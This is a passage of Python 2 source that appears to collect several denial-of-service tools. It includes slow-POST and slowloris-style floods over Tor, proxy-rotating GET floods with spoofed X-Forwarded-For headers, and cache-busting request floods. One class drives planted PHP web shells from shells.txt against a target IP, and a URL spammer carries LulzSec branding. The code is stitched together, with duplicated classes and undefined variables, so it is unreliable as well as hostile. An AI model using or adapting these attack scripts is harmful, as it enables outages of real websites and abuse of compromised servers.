  1309. request += 'Connection: keep-alive\r\n'
  1310. request += 'Content-Type: application/x-www-form-urlencoded\r\n'
  1311. request += 'Content-length: %s\r\n\r\n' % (len(post))
  1312.  
  1313. newrequest = '%s\r\n' % (post)
  1314. newrequest += '\r\n'
  1315.  
  1316. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1317.  
  1318. try:
  1319. s.connect((server, 80))
  1320. s.send(request)
  1321.  
  1322. for c in newrequest:
  1323. sys.stdout.write( s.send(c).__str__() )
  1324. time.sleep(60)
  1325. s.close()
  1326. #s.recv(50000)
  1327. except:
  1328. print "Is It Dead Yet?"
  1329.  
  1330. def da_delegator(SITE,DOS_TYPE):
  1331. thread_count = 500
  1332. print '=' * 60
  1333. print 'POST-it v1.1.0'.center(60,'-')
  1334. print '=' * 60
  1335. threads = []
  1336. for num in range(thread_count):
  1337. thr1=MyThread(SITE,DOS_TYPE)
  1338. print 'start - %s' % thr1
  1339. thr1.start()
  1340. threads.append(thr1)
  1341. #thr1.join()
  1342.  
  1343. while len(threads) > 0:
  1344. try:
  1345. # Join all threads using a timeout so it doesn't block
  1346. # Filter out threads which have been joined or are None
  1347. threads = [t.join(1) for t in threads if t is not
  1348. None and t.isAlive()]
  1349. except KeyboardInterrupt:
  1350. print "Ctrl-c received! Sending kill to threads... Just Kill The Terminal" # Need to fix this!!!
  1351. for t in threads:
  1352. t.kill_received = True
  1353. sys.exit(2)
  1354.  
  1355. class DenialOfService:
  1356. def __init__(self):
  1357. self.Settings = {
  1358. 'ip': '',
  1359. 'port': 80,
  1360. 'time': 50
  1361. }
  1362. self.IP, self.Port, self.Time = self.Settings['ip'], self.Settings['port'], str(self.Settings['time'])
  1363.  
  1364. self.Shells = [i.strip() for i in open('shells.txt','r')]
  1365. for (Shell) in izip(self.Shells):
  1366. Shell = ''.join(Shell)
  1367. self.Shell = str(Shell).strip("'")
  1368. try:
  1369. print '''Shell loaded: ''' + self.Shell
  1370. threading.Thread(target=self.Dos,args=()).start()
  1371. except:
  1372. pass
  1373. def Dos(self):
  1374. try:
  1375. while 1:
  1376. if '?' not in self.Shell:
  1377. Data = self.Shell + '?act=phptools&host=' + self.IP + '&time=' + self.Time
  1378. Request = urllib2.urlopen(Data).read()
  1379. else: pass
  1380. except: print 'Dead shell: ' + self.Shell
  1381.  
  1382. class PyGroupTalk:
  1383.  
  1384. def __init__(self,port=8767,
  1385. host="74.50.98.2",
  1386. nickName="Ethoxyethaan5",
  1387. client="TeamSpeak",
  1388. loginName=None,
  1389. operatingSystem="Windows XP",
  1390. autoNick=True,
  1391. anonymous=True,
  1392. password=None):
  1393. self.port =port
  1394. self.host =host
  1395. self.nickName =nickName
  1396. self.loginName =loginName
  1397. self.operatingSystem=operatingSystem
  1398. self.autoNick =autoNick
  1399. self.anonymous =anonymous
  1400. self.password =password
  1401. self.client =client
  1402.  
  1403. self.__nick = self.__FormatText(29,self.nickName)
  1404. self.__login = self.__FormatText(29,self.loginName)
  1405. self.__password= self.__FormatText(29,self.password)
  1406. self.__client = self.__FormatText(29,self.client)
  1407. self.__OS = self.__FormatText(29,self.operatingSystem)
  1408. self.__autonNick = "\x01" if self.autoNick else "\x00"
  1409. self.__registered_login = "\x01" if self.anonymous else "\x02"
  1410.  
  1411. self.__s_packet = ""
  1412. self.__get=""
  1413.  
  1414. self.__socket = None
  1415.  
  1416. self.__client_id = "\0"*4
  1417. self.__session_key = "\x00\x00\x00\x00"
  1418. self.__sequence_number = "\x01\x00\x00\x00"
  1419.  
  1420. self.__crc_offset=int(0)
  1421.  
  1422. self.__resend="\x00\x00"
  1423. self.__ping_sequ="\x02\x00\x00\x00"
  1424.  
  1425. self.lasterror=time.time()
  1426.  
  1427. def __FormatText(self,s,n):
  1428. return (chr(len(n))+n+((s-len(n))*"\0")) if n <> None else 30*"\0"
  1429. #value_when_true if condition else value_when_false
  1430.  
  1431. def __Format_Left(self,lengt,string):
  1432. ""
  1433.  
  1434. def __CrcMirror(self,A):
  1435. A=A&0xFFFFFFFF
  1436. A = (A>>(8*3))+((A&0x00FF0000)>>8)+((A&0x0000FF00)<<8)+((A&0x000000FF)<<(8*3))
  1437. return A
  1438.  
  1439. def __CrcMirrorChar(self,A):
  1440. A=self.__CrcMirror(A)
  1441. A=chr(A>>8*3)+chr((A&0x00FF0000)>>8*2)+chr((A&0x0000FF00)>>8)+chr((A&0x000000FF))
  1442. return A
  1443.  
  1444. #responce creation
  1445.  
  1446. def __Set_Class_Connection(self):
  1447. self.__s_packet = "\xf4\xbe"
  1448.  
  1449. def __Set_Class_Standard(self):
  1450. self.__s_packet="\xf0\xbe"
  1451.  
  1452. def __Set_Class_Ack(self):
  1453. self.__s_packet="\xf1\xbe"
  1454.  
  1455. def __Set_Type_Login_Request(self):
  1456. self.__s_packet=self.__s_packet + "\x03\x00"
  1457.  
  1458. def __Set_Type_Login_Request_Part_2(self):
  1459. self.__s_packet=self.__s_packet + "\x05\x00"
  1460.  
  1461. def __Set_Type_Ping(self):
  1462. self.__s_packet=self.__s_packet+"\x01\0"
  1463.  
  1464. def __Set_Client_Id(self):
  1465. self.__s_packet=self.__s_packet+self.__client_id
  1466.  
  1467. def __Set_Sequence_Number(self):
  1468. self.__s_packet=self.__s_packet+self.__sequence_number
  1469.  
  1470. def __Set_Ping_Sequence_number(self):
  1471. self.__s_packet=self.__s_packet+self.__ping_sequ
  1472.  
  1473. def __Set_Session_Key(self):
  1474. self.__s_packet=self.__s_packet+self.__session_key
  1475.  
  1476. def __Set_Host(self):
  1477. a=chr(int(self.host.split(".")[0]))
  1478. b=chr(int(self.host.split(".")[1]))
  1479. c=chr(int(self.host.split(".")[2]))
  1480. d=chr(int(self.host.split(".")[3]))
  1481. #print (a+b+c+d).encode("hex")
  1482. self.__s_packet=self.__s_packet+a+b+c+d
  1483.  
  1484. def __Set_Port(self):
  1485. self.__s_packet=self.__s_packet+(chr(int(self.port/0x100))+chr(int(self.port-int(self.port/0x100)*0x100)))
  1486.  
  1487. def __Set_Crc_Empty(self):
  1488. self.__crc_offset=len(self.__s_packet)
  1489. self.__s_packet=self.__s_packet+"\0"*4
  1490.  
  1491. def __Set_Crc_Packet(self):
  1492. self.__s_packet=self.__s_packet[:self.__crc_offset]+self.__CrcMirrorChar(crc32(self.__s_packet))+self.__s_packet[self.__crc_offset+4:]
  1493. #end responce creatio
  1494.  
  1495. def Type_1_connect_login(self):
  1496. #packet is 180 bytes big
  1497. self.__s_packet="" #empty it
  1498. self.__client_id = "\0"*4 #reset it
  1499. self.__session_key = "\x00\x00\x00\x00" #reset it
  1500. self.__sequence_number = "\x01\x00\x00\x00" #reset it
  1501.  
  1502. unknown_data="\x02\0\0\0\x20\0\x3c\0"
  1503.  
  1504. self.__Set_Class_Connection() #2 bytes
  1505. self.__Set_Type_Login_Request() #2 bytes
  1506. self.__Set_Client_Id() #4 bytes.
  1507. self.__Set_Session_Key() #4 bytes
  1508. self.__Set_Sequence_Number() #4 bytes
  1509. self.__Set_Crc_Empty() #4 bytes
  1510. self.__s_packet=self.__s_packet+self.__client
  1511. self.__s_packet=self.__s_packet+self.__OS
  1512. self.__s_packet=self.__s_packet+unknown_data
  1513. self.__s_packet=self.__s_packet+self.__autonNick
  1514. self.__s_packet=self.__s_packet+self.__registered_login
  1515. self.__s_packet=self.__s_packet+self.__login
  1516. self.__s_packet=self.__s_packet+self.__password
  1517. self.__s_packet=self.__s_packet+self.__nick
  1518. self.__Set_Crc_Packet()
  1519. self.__Create_connection()
  1520. self.__Send()
  1521.  
  1522. #print len(self.__s_packet)
  1523. #print self.__s_packet.encode("hex")
  1524. def __Type_2_connect_login(self):
  1525. self.__s_packet="" #empty
  1526. self.__Set_Class_Standard() #2 bytes
  1527. self.__Set_Type_Login_Request_Part_2() #2 bytes
  1528.  
  1529. self.__session_key=self.__get[172:(172+4)] #4 bytes
  1530. self.__client_id = self.__get[8:(8+4)] #4 bytes
  1531.  
  1532. self.__Set_Session_Key()
  1533. self.__Set_Client_Id()
  1534. self.__s_packet=self.__s_packet+"\x01\0\0\0"#4 bytes #sequence number
  1535. self.__s_packet=self.__s_packet+"\0\0" #2 bytes #resend count:0
  1536. self.__s_packet=self.__s_packet+"\0\0" #2 bytes #fragment number: 0
  1537. self. __Set_Crc_Empty()
  1538. self.__s_packet=self.__s_packet+"\x01\0" #2 bytes #unknown number
  1539. self.__s_packet=self.__s_packet+"\0" #1 bytes #Channel
  1540. self.__s_packet=self.__s_packet+"\0" #1 bytes #sub_channel
  1541. self.__Set_Host()
  1542. self.__s_packet=self.__s_packet+"\x02\x00"
  1543. self.__Set_Port()
  1544. self.__Set_Host()
  1545. self.__s_packet=self.__s_packet+"\0"*32+"\0"*32+"\0"*16
  1546. self.__Set_Crc_Packet()
  1547. self.__Send()
  1548.  
  1549. def __Type_Ack(self):
  1550. self.__s_packet=""
  1551. self.__Set_Class_Ack()
  1552. self.__s_packet=self.__s_packet+self.__resend
  1553. self.__Set_Session_Key()
  1554. self.__Set_Client_Id()
  1555. self.__s_packet=self.__s_packet+self.__get[12:16]
  1556. print "ACK ACK ACK"
  1557. self.__Send()
  1558.  
  1559. def __Type_Ping(self):
  1560. self.__s_packet=""
  1561. self.__Set_Class_Connection()
  1562. self.__Set_Type_Ping()
  1563. self.__Set_Session_Key()
  1564. self.__Set_Client_Id()
  1565. self.__Set_Ping_Sequence_number()
  1566. self.__Set_Crc_Empty()
  1567. self.__Set_Crc_Packet()
  1568. #
  1569. time.sleep(0.5)
  1570. #
  1571. self.__Send()
  1572. #print "PING PING PING"
  1573. return
  1574.  
  1575. def testing(self):
  1576. #self.__CrcMirror(0x12345678)
  1577. #print self.__CrcMirrorChar(0x12345678).encode("hex")
  1578. """
  1579. for i in [self.__login,self.__nick,self.__password,
  1580. self.__client,self.__OS]:
  1581. print "#####"
  1582. print (i).encode("hex")
  1583. print i.replace("\0","")
  1584. print len(i)"""
  1585.  
  1586. def __Create_connection(self):
  1587. self.__socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  1588. self.__socket.settimeout(1)
  1589.  
  1590. def __Send(self):
  1591. try:
  1592. self.__socket.sendto(self.__s_packet,(self.host,self.port))
  1593.  
  1594. except socket.error:
  1595. print "error while sending, retrying"
  1596. for i in range(1,5):
  1597. try:
  1598. self.__socket.sendto(self.__s_packet,(self.host,self.port))
  1599. except socket.error:
  1600. pass
  1601. finally:
  1602. return
  1603.  
  1604. def __Read(self):
  1605. return self.__socket.recv(5000)
  1606.  
  1607. def Init(self):
  1608. try:
  1609. error=0
  1610. self.__get=self.__Read()
  1611. #print "lenght:",len(self.__get)
  1612. #
  1613. if len(self.__get)==0:
  1614. print "len is zero"
  1615. error=1
  1616. raise socket.error
  1617. except socket.error:
  1618. if (time.time()-self.lasterror)<5:
  1619. print "!# Terminal socket error"
  1620. error=1
  1621. else:
  1622. print "!# socket error, retrying "
  1623. self.__get=self.__Read()
  1624. error=0
  1625. self.lasterror=time.time()
  1626. #FIXME: HELP HELP HELP, INF LOOP
  1627. finally:
  1628. self.__Find_Reply()
  1629. return True if error ==0 else False
  1630.  
  1631. def __Find_Reply(self):
  1632. header1=self.__get[:2]
  1633. header2=self.__get[2:4]
  1634. if header1 == "\xf4\xbe":
  1635. if header2 == "\x04\x00":
  1636. print "!# Login reply found"
  1637. self.__Type_2_connect_login()
  1638. elif header2 == "\x02\x00":
  1639. print "!# PING found!"
  1640. self.__ping_sequ=self.__get[12:16]
  1641. self.__Type_Ping()
  1642. else:
  1643. pass
  1644.  
  1645. elif header1 == "\xf1\xbe":
  1646. print "!# ACK found!"
  1647. #self.__Type_Ack()
  1648. pass
  1649.  
  1650. elif header1 == "\xf0\xbe":
  1651. if header2 == "\x08\x00":
  1652. self.__resend=self.__get[16:18]
  1653. self.__Type_Ack()
  1654. self.__resend="\x00\x00"
  1655. self.__Type_Ping()
  1656. elif self.__get[16:18] <> "\0\0":
  1657. self.__resend=self.__get[16:18]
  1658. self.__Type_Ack()
  1659. self.__resend="\x00\x00"
  1660. else:
  1661. self.__Type_Ack()
  1662. else:
  1663. self.__Type_Ack()
  1664.  
  1665. class httpPost(Thread):
  1666. def __init__(self, host, port, tor):
  1667. Thread.__init__(self)
  1668. self.host = host
  1669. self.port = port
  1670. self.socks = socks.socksocket()
  1671. self.tor = tor
  1672. self.running = True
  1673.  
  1674. def _send_http_post(self, pause=10):
  1675. global stop_now
  1676.  
  1677. self.socks.send("POST / HTTP/1.1\r\n"
  1678. "Host: %s\r\n"
  1679. "User-Agent: %s\r\n"
  1680. "Connection: keep-alive\r\n"
  1681. "Keep-Alive: 900\r\n"
  1682. "Content-Length: 10000\r\n"
  1683. "Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
  1684. (self.host, random.choice(useragents)))
  1685.  
  1686. for i in range(0, 9999):
  1687. if stop_now:
  1688. self.running = False
  1689. break
  1690. p = random.choice(string.letters+string.digits)
  1691. print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
  1692. self.socks.send(p)
  1693. time.sleep(random.uniform(0.1, 3))
  1694.  
  1695. self.socks.close()
  1696.  
  1697. def run(self):
  1698. while self.running:
  1699. while self.running:
  1700. try:
  1701. if self.tor:
  1702. self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  1703. self.socks.connect((self.host, self.port))
  1704. print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
  1705. break
  1706. except Exception, e:
  1707. if e.args[0] == 106 or e.args[0] == 60:
  1708. break
  1709. print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  1710. time.sleep(1)
  1711. continue
  1712.  
  1713. while self.running:
  1714. try:
  1715. self._send_http_post()
  1716. except Exception, e:
  1717. if e.args[0] == 32 or e.args[0] == 104:
  1718. print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  1719. self.socks = socks.socksocket()
  1720. break
  1721. time.sleep(0.1)
  1722. pass
  1723.  
  1724.  
  1725. class httpPost(Thread):
  1726. def __init__(self, host, port, tor):
  1727. Thread.__init__(self)
  1728. self.host = host
  1729. self.port = port
  1730. self.socks = socks.socksocket()
  1731. self.tor = tor
  1732. self.running = True
  1733.  
  1734. def _send_http_post(self, pause=10):
  1735. global stop_now
  1736.  
  1737. self.socks.send("POST / HTTP/1.1\r\n"
  1738. "Host: %s\r\n"
  1739. "User-Agent: %s\r\n"
  1740. "Connection: keep-alive\r\n"
  1741. "Keep-Alive: 900\r\n"
  1742. "Content-Length: 10000\r\n"
  1743. "Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
  1744. (self.host, random.choice(useragents)))
  1745.  
  1746. for i in range(0, 9999):
  1747. if stop_now:
  1748. self.running = False
  1749. break
  1750. p = random.choice(string.letters+string.digits)
  1751. print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
  1752. self.socks.send(p)
  1753. time.sleep(random.uniform(0.1, 3))
  1754.  
  1755. self.socks.close()
  1756.  
  1757. def run1(self):
  1758. while self.running:
  1759. while self.running:
  1760. try:
  1761. if self.tor:
  1762. self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  1763. self.socks.connect((self.host, self.port))
  1764. break
  1765. except Exception, e:
  1766. if e.args[0] == 106 or e.args[0] == 60:
  1767. break
  1768. print term.BOL+term.UP+term.CLEAR_EOL+"DoS Succeded - Host is DOWN!"+ term.NORMAL
  1769. continue
  1770.  
  1771. while self.running:
  1772. try:
  1773. self._send_http_post()
  1774. except Exception, e:
  1775. if e.args[0] == 32 or e.args[0] == 104:
  1776. self.socks = socks.socksocket()
  1777. break
  1778. pass
  1779.  
  1780. def randomIp():
  1781. random.seed()
  1782. result = str(random.randint(10000, 700000)) + '.' + str(random.randint(10000, 700000))
  1783. result = result + str(random.randint(10000, 700000)) + '.' + str(random.randint(10000, 700000))
  1784. return result
  1785.  
  1786. def randomIpList():
  1787. random.seed()
  1788. res = ""
  1789. for ip in xrange(random.randint(800, 10000)):
  1790. res = res + randomIp() + ", "
  1791. return res[0:len(res) - 2]
  1792.  
  1793. def randomUserAgent():
  1794. return random.choice(userAgents)
  1795.  
  1796. def randomReFerer():
  1797. return random.choice(reFerers)
  1798.  
  1799. def randomKeyWord():
  1800. return random.choice(keyWords)
  1801.  
  1802. def randomuseragents_list():
  1803. return random.choice(useragents)
  1804.  
  1805. def randomrefer_list():
  1806. return random.choice(referer)
  1807.  
  1808. def randomkeyword_list():
  1809. return random.choice(keyword)
  1810.  
  1811. def randomIpList():
  1812. random.seed()
  1813. res = ""
  1814. for ip in xrange(random.randint(20, 80)):
  1815. res = res + randomIp() + ", "
  1816. return res[0:len(res) - 2]
  1817.  
  1818. class attacco(threading.Thread):
  1819. def run(self):
  1820. current = x
  1821.  
  1822. class attacco(threading.Thread):
  1823. def run(self):
  1824. referer_list()
  1825. current = x
  1826.  
  1827. if current < len(listaproxy):
  1828. proxy = listaproxy[current].split(':')
  1829. else:
  1830. proxy = random.choice(listaproxy).split(':')
  1831.  
  1832. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  1833. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  1834. #referer = "Referer: "+ randomReFerer() + randomKeyWord() + url + "?r="+ str(random.randint(10000, 100000)) + "\r\n"
  1835. #referer = "Referer: "+ randomReFerer() + randomKeyWord() + "\r\n"
  1836. referer = "Referer: "+ randomReFerer() + url + "?r="+ str(random.randint(10000, 150000)) + "\r\n"
  1837. #referer = "Referer: "+ host_url + "\r\n"
  1838. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  1839.  
  1840. while nload:
  1841. time.sleep(1)
  1842.  
  1843. while 1:
  1844. try:
  1845. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1846. a.connect((proxy[0], int(proxy[1])))
  1847. a.send(httprequest)
  1848. try:
  1849. for i in xrange(3):
  1850. a.send(httprequest)
  1851. except:
  1852. tts = 1
  1853.  
  1854.  
  1855. except:
  1856. proxy = random.choice(listaproxy).split(':')
  1857.  
  1858. def buildblock(size):
  1859. out_str = ''
  1860. for i in range(0, size):
  1861. a = random.randint(65, 90)
  1862. out_str += chr(a)
  1863. return(out_str)
  1864.  
  1865. def httpcall(url):
  1866. referer_list()
  1867. code=0
  1868. if url.count("?")>0:
  1869. param_joiner = "&"
  1870. else:
  1871. param_joiner = "?"
  1872. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  1873. request.add_header('User-Agent', getUserAgent())
  1874. request.add_header('Cache-Control', 'no-cache')
  1875. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  1876. request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10)))
  1877. request.add_header('Keep-Alive', random.randint(110,120))
  1878. request.add_header('Connection', 'keep-alive')
  1879. request.add_header('Host',host)
  1880.  
  1881. index = random.randint(0,len(listaproxy)-1)
  1882. proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  1883. opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  1884. urllib2.install_opener(opener)
  1885. try:
  1886. urllib2.urlopen(request)
  1887. if(flag==1): set_flag(0)
  1888. if(code==500): code=0
  1889. except urllib2.HTTPError, e:
  1890. set_flag(1)
  1891. code=500
  1892. time.sleep(60)
  1893. except urllib2.URLError, e:
  1894. sys.exit()
  1895. else:
  1896. inc_counter()
  1897. urllib2.urlopen(request)
  1898. return(code)
  1899.  
  1900. class HTTPThread(threading.Thread):
  1901. def run(self):
  1902. try:
  1903. while flag<2:
  1904. code=httpcall(url)
  1905. if (code==500) & (safe==1):
  1906. set_flag(2)
  1907. except Exception, ex:
  1908. pass
  1909.  
  1910. def randomIp():
  1911. random.seed()
  1912. result = str(random.randint(10000, 254000)) + '.' + str(random.randint(10000, 254000))
  1913. result = result + str(random.randint(10000, 254)) + '.' + str(random.randint(10000, 254000))
  1914. return result
  1915.  
  1916. def randomIpList():
  1917. random.seed()
  1918. res = ""
  1919. for ip in xrange(random.randint(8, 10)):
  1920. res = res + randomIp() + ", "
  1921. return res[0:len(res) - 2]
  1922.  
  1923. class attacco(threading.Thread):
  1924. def run(self):
  1925. referer_list()
  1926. current = x
  1927.  
  1928. if current < len(listaproxy):
  1929. proxy = listaproxy[current].split(':')
  1930. else:
  1931. proxy = random.choice(listaproxy).split(':')
  1932.  
  1933. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  1934. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  1935. referer = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) + "\r\n"
  1936. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  1937.  
  1938. while nload:
  1939. time.sleep(1)
  1940. pass
  1941.  
  1942. while 1:
  1943. try:
  1944. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1945. a.connect((proxy[0], int(proxy[1])))
  1946. a.send(httprequest)
  1947. try:
  1948. for i in xrange(4):
  1949. a.send(httprequest)
  1950. except:
  1951. tts = 1
  1952.  
  1953.  
  1954. except:
  1955. proxy = random.choice(listaproxy).split(':')
  1956.  
  1957. print \
  1958. """
  1959.  
  1960.  
  1961.  
  1962.  
  1963. `,;''````,,:,`
  1964. ,'#@@@@@@ .:
  1965. ,#@@@@@@@@@@' :
  1966. `'@@@@@@@@@@@@@@ ``
  1967. `+@@@@@@@@@@@@@@@@+ .
  1968. '@@@@@@@@@@@@@@@@@@@ `,##`
  1969. ,@@@@@@@@@@@@@@@@@@@@@@ `;@@@@@@ ,
  1970. `#@@@@@@@@@@@@@@@@@@@@@@@` `'@@@@@@@@@ `
  1971. .@@@@@@@@@@@@@@@@@@@@@@@##+ .#@@@@@@@@@@# ,
  1972. :@@@@@@@@@@@@@@@@@@@@@#+++##, `:@@@@@@@@@@#, ` .
  1973. '@@@@@@@@@@@@@@@@@@@#+++++#@@@@@@@@@@@@@#;
  1974. '@@@@@@@@@@@@@@@@@@#++++##@@@@@@@@@@@@@' `
  1975. +@@@@@@@@@@@@@@@@@#+#++#@@@@@@@@@@@@@+`
  1976. '@@@@@@@@@@@@@@@@+++++#@@@@@@@@@@@@@: `
  1977. ;@@@@@@@@@@@@@@#+#+++@@@@@@@@@@@@@# `
  1978. ,+@@@@@@@@@@@@#++++#@@@@@@@@@@@@@@@@@` .
  1979. ` @@@@@@@@@##++++#@@@@@@@@@@@@#'+''''@@ :
  1980. ` ,@@@@@@#+++++#@@@@@@@@@@@#+''''. ;@`
  1981. : @@@#+++++#@@@@@@@@@@@@+'''` '; `
  1982. @#+++##@@@@@@@@@@@#+''' + :
  1983. ` ;+##@@@@@@@@@@@@+'''; '' '
  1984. . #@@@@@@@@@@@#'''': .@#;` `, ,. ,
  1985. ` .@@@@@@@@@@@+'+';` #@+'+'''''++#+ @
  1986. . .#@@@@@@@@@@#''+'. .' #@@@#@@##### ', ,
  1987. ` `#@@@@@@@@@@@+'''+, @ ;+'# `.,:@ @
  1988. '@@@@@@@@@@@@''''': `` @ '# '#+@@+@ @ :
  1989. ;@@@@@@@@@@'@+''': .@#+#@@@ ,'`+ ## @ .;
  1990. @@@@@@@@+ @@+'' +':,```+@ `+# `# # .,
  1991. `@@@@@#. `@++' ';`,:```:.# @ ;; @ @.@ :
  1992. ;@@@: #@'+` .+`,.````,..` @` .# .;,@ #;@ `
  1993. #+ #''; ` @``,;```:`'`# @; ;# :@@@@@# `@
  1994. `@'' `.@#`,.````,.``, ,#@@' `@@@@@@@@@@;``:@+ `
  1995. ` :@'; .##;`:;```:`;``,: `@@@@++'##@@@@@@# ......:
  1996. , @+'. ``'',.````..```,; `'@@@@.@@@@: .+ . :; `
  1997. : @+' '@@@#;;```;`;``:., #@@@@@@@@@@@ .# ,: `
  1998. . @'' `; '@.````..``.`, @@@@@@@@@.@@# .# .:
  1999. ` @'' . +'```;`;``;`# +@@@' #@@ :#`, ,@ `, `
  2000. @'' ,, @````,``.`,` `@@@; `. +' ,@ `: `
  2001. @'' @ `#`;`:``;:; #@@+ ` @` '@ `+:,....`
  2002. @'' @ ;@,,``,#: @@@ +` :@@@# @ @' `@++++++.`
  2003. @'' @ #@@@' .@@, .# `' + @` @++++++.
  2004. @'' + `' +@# .@` `++; @ @+++++.`
  2005. @'' ; ##'`@@` +# .': `@ `@+++#``
  2006. '++ + #,.@@# . .# ;### ``
  2007. ` `#' :# :@@@# +' ,@, ``
  2008. , @'` .+ @ @@, ``
  2009. : #'' `@ `# ;@@@,```
  2010. . `+' `; @. .,@@@@'.``
  2011. #'; + :# +@@+.#@@+:``
  2012. `#+.`# :@` #@' @. .`
  2013. . ,+'`# '@; :@; #. .`
  2014. , +++@ @@+ @+ #...`
  2015. ##++` `@@+ ,@ +.:.`
  2016. +@+'' .@@+ @, .#@#.``
  2017. , ,@@++, `+@@'@ .@ ;;:::.`
  2018. #@#'''. `+@@;; @' @. :.`
  2019. , #@@@####+';,.``,;@@@@: : `@# .@ .`
  2020. #+++###@''#@@@##@@'#@` ; @@@@; @, :.`
  2021. . #+';;'+# ,; @+; +@++ .#@+@@@#` +# `,``
  2022. @' @ # ,@+; @## @ ## +@@# :@ :.`
  2023. : `#. `: `+@@+' @., `@`@ '@@` `#@ ` `.``
  2024. ++ # @@@++ #..; @@# @@@@' ,.`
  2025. . @' #@;, @,,@+,.#..# `#@ .+. ,.``
  2026. , #+` '+#+ #..+@++@..,. @@; `..`
  2027. `@+ . #..`@@+@#..@ #`@ ..`
  2028. ` .@+ + #...@''`@..:'; `@` :.``
  2029. . '@+; ;# @...@+` #;..@# '# ,.``
  2030. , @@@' @ `@...@+ @..+: `@ ..``
  2031. , `@`@'` # ;..,@+ #...; @` `..`
  2032. : :+ #+, ;`:.,@+ `+..@ ,# ..``
  2033. , @ #+' `#..@+ @..# @ ,.``
  2034. ` `# ++' ` @@..@+ #..+ @ :.``
  2035. ` ,, '@+ `@;.@': :..# :: .``
  2036. : @ ,@' `@.,+' ,..@ @ ..``
  2037. ` @ .@+ :,.@+ :'#@ @ `,```
  2038. . `# .@' @.:+' `@. # @ :```
  2039. , +, `@' `` @@@@@#@ ' ':```
  2040. .` @@@@@@`.., @ `'# `. `: `
  2041. :;@@#` :@@@@, :+ # + `:` `
  2042. `;:@@@#: ;; #`,,
  2043. `,::::,.
  2044.  
  2045.  
  2046.  
  2047.  
  2048. """
  2049. if os.name in ('nt', 'dos', 'ce'):
  2050. os.system('title ........::::: LulzSec :::::........')
  2051. os.system('color 0b')
  2052. Close = False
  2053. Lock = threading.Lock()
  2054. Request = 999999999999999999999
  2055. Tot_req = 9999999999
  2056. Port = 80
  2057. class Spammer(threading.Thread):
  2058.  
  2059. def __init__(self, url, number):
  2060. threading.Thread.__init__(self)
  2061. self.url = url
  2062. self.num = number
  2063.  
  2064. def run(self):
  2065. global Lock
  2066. global Tot_req
  2067. global Close
  2068. global Request
  2069. Lock.acquire()
  2070. print 'Thread {0} started!'.format(self.num)
  2071. Lock.release()
  2072. while Close == False:
  2073. try:
  2074. urllib.urlopen(self.url)
  2075. Request += 999999999999999999999
  2076. Tot_req += 9
  2077. Port = 80
  2078. except:
  2079. pass
  2080.  
  2081. Lock.acquire()
  2082. print 'Closing thread #{0} started!'.format(self.num)
  2083. Lock.release()
  2084. sys.exit(0)
  2085.  
  2086. class UdpThread(Thread):
  2087. def __init__(self, udpserver, data, addr, logger):
  2088. Thread.__init__(self)
  2089. self.__server__ = udpserver
  2090. self.__id__ = uuid.uuid4()
  2091. self.__data__ = data
  2092. self.__addr__ = addr
  2093. self.__logger__ = logger
  2094.  
  2095. def run(self):
  2096. self.__logger__.info('server thread %s' % self.__id__)
  2097. self.__logger__.info('work for %s:%s' % self.__addr__)
  2098.  
  2099. while True:
  2100. if self.__data__ != None:
  2101. response = ('[Response] - ' + self.__data__)
  2102. self.__server__.sendto(response, self.__addr__)
  2103. break
  2104.  
  2105. self.__logger__.info('complete')
  2106.  
  2107. class extended_thread(Thread):
  2108. PORT = None
  2109. HOST = ''
  2110. def run(self):
  2111. try:
  2112. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2113. s.bind((self.HOST, self.PORT))
  2114. s.listen(1)
  2115. s.settimeout(120)
  2116. conn, addr = s.accept()
  2117. print 'Connected by', addr
  2118. while 1:
  2119. data = conn.recv(1024)
  2120. if not data: break
  2121. conn.sendall(data)
  2122. conn.close()
  2123. server_welcome.socket_success.append(self.PORT)
  2124. except socket.timeout as msg:
  2125. s.close()
  2126. s = None
  2127. print "Socket " + str(self.PORT) + " timed out after two minutes."
  2128. server_welcome.local_socket_exceptions.append(self.PORT)
  2129. except socket.error as msg:
  2130. s.close()
  2131. s = None
  2132. server_welcome.local_socket_exceptions.append(self.PORT)
  2133.  
  2134. class handshake():
  2135.  
  2136. def __init__(self, ports):
  2137. self.target_port = 60100
  2138. self.received_port_list = []
  2139. self.local_port_list = ports
  2140. self.local_socket_exceptions = []
  2141. self.remote_socket_exceptions = []
  2142. self.socket_success = []
  2143.  
  2144. def server_shake(self, payload):
  2145. try:
  2146. if self.target_port <= 60200:
  2147. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2148. s.bind(('', self.target_port))
  2149. s.listen(1)
  2150. s.settimeout(120)
  2151. conn, addr = s.accept()
  2152. while 1:
  2153. print "Receiving data..."
  2154. data = conn.recv(1024)
  2155. print "sending data..."
  2156. conn.sendall(str(payload))
  2157. break
  2158. conn.close()
  2159. return list(data)
  2160. else:
  2161. print "I never heard from the client, or I couldn't secure a port."
  2162. except socket.timeout as msg:
